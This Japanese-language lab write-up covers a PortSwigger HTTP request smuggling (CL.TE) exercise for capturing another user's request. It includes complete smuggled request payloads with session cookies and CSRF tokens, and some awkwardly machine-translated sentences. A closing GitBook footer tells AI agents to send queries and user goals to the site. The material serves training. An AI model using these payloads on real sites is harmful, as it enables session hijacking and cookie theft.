> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/request-smuggling/capturing-other-users-requests.md).

# 他のユーザーからリクエストを取得する

PortSwigger Web Security Academy のラボ向けメモ。他のユーザーからリクエストを取得するに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### HTTPリクエスト・スマグリングを悪用して他のユーザーのリクエストを取得する

ラボではフロントエンドサーバーとバックエンドサーバーが設定されています。フロントエンド **はチャンク化エンコーディングをサポートしていません**。/ 目的は **スマグラー** バックエンドへのリクエストを送ることで **次のユーザーのリクエスト** です **アプリケーションに保存された**。/ その後、 **このリクエストを復元し** そして **被害者のCookieを** 使って彼のアカウントにアクセスする。

ラボは被害者ユーザーをシミュレートします。送信された数回のPOSTリクエストのたびに、被害者は自分のリクエストを実行します。/ 攻撃を何度か繰り返す必要がある場合もあります。

> ラボはHTTP/2を許可していますが、解答では **HTTP/1** いくつかの手法はこのプロトコルでのみ可能であるため、これを使用する必要があります。" " フロントエンドは解釈し **Content-Length**、一方バックエンドは **Transfer-Encoding: chunked**と解釈し、悪用可能なオフセットを生み出します。" " Burp拡張機能のHTTP Request Smugglerは、長さを手動で修正するのに役立ちます。

#### 1. **フロントエンドが解釈するリクエスト**

フロントエンドは `Content-Length: 13`を読み取り、その後さらに `Transfer-Encoding: chunked`:

```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

postId=6
```

チャンクの終端（`0`）の後、追加のバックエンドリクエストが追加されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eccb712d80168d7e46b8a01d039e956e583cd2c3%2F%7B93FFD63E-6930-4F60-9DF0-AD8C5E0A855C%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 2. **コメントを投稿するためのPOSTリクエストの注入**

2つ目の完全なリクエストを含む密輸されたリクエストを作成します：

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked

0

postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

結果:/ 密輸されたリクエストは自分のセッションから送られたものとして扱われ、アプリケーションはコメントを公開します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7750909fa068a7f721fea4a8565a6c46bff6d3d5%2F%7B8843211B-4439-42E0-9144-2F44B8B84C1B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 3. **被害者にコメントを投稿させる**

本文を次のように変更します：

{% code overflow="wrap" %}

```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

{% endcode %}

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

そして同様のリクエストを送信します。/ 再読み込みすると、アプリは表示します **コメントありがとうございます**。これは、被害者がこのコメントを投稿したことを示しています。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d3f201b52eb8f05da01e7101b634973c2cb30d2b%2F%7BE8F8B551-3EDC-4093-A704-DE678BE2280B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cec8103de150ad0e1a47d799d6c3897502ae44b%2F%7B99F1158C-338E-4999-9A79-62594A94CF36%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 4. **被害者のリクエストの捕捉を準備する**

被害者ユーザーのリクエスト全体を捕捉するには、 `Content-Length` バックエンドが次のリクエストを内容として処理するようにします：

```http
Content-Length: 1000

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```

その後、被害者が送信した次のリクエストは、想定されている本文に取り込まれ... / そして **アプリケーションの保存領域で参照可能になる**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ebb090e4c3fb3cbe102a60e6a46d59ff36db7999%2F%7B6876BA0B-A425-4EF5-9C57-A42417B48CEF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/request-smuggling/capturing-other-users-requests.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
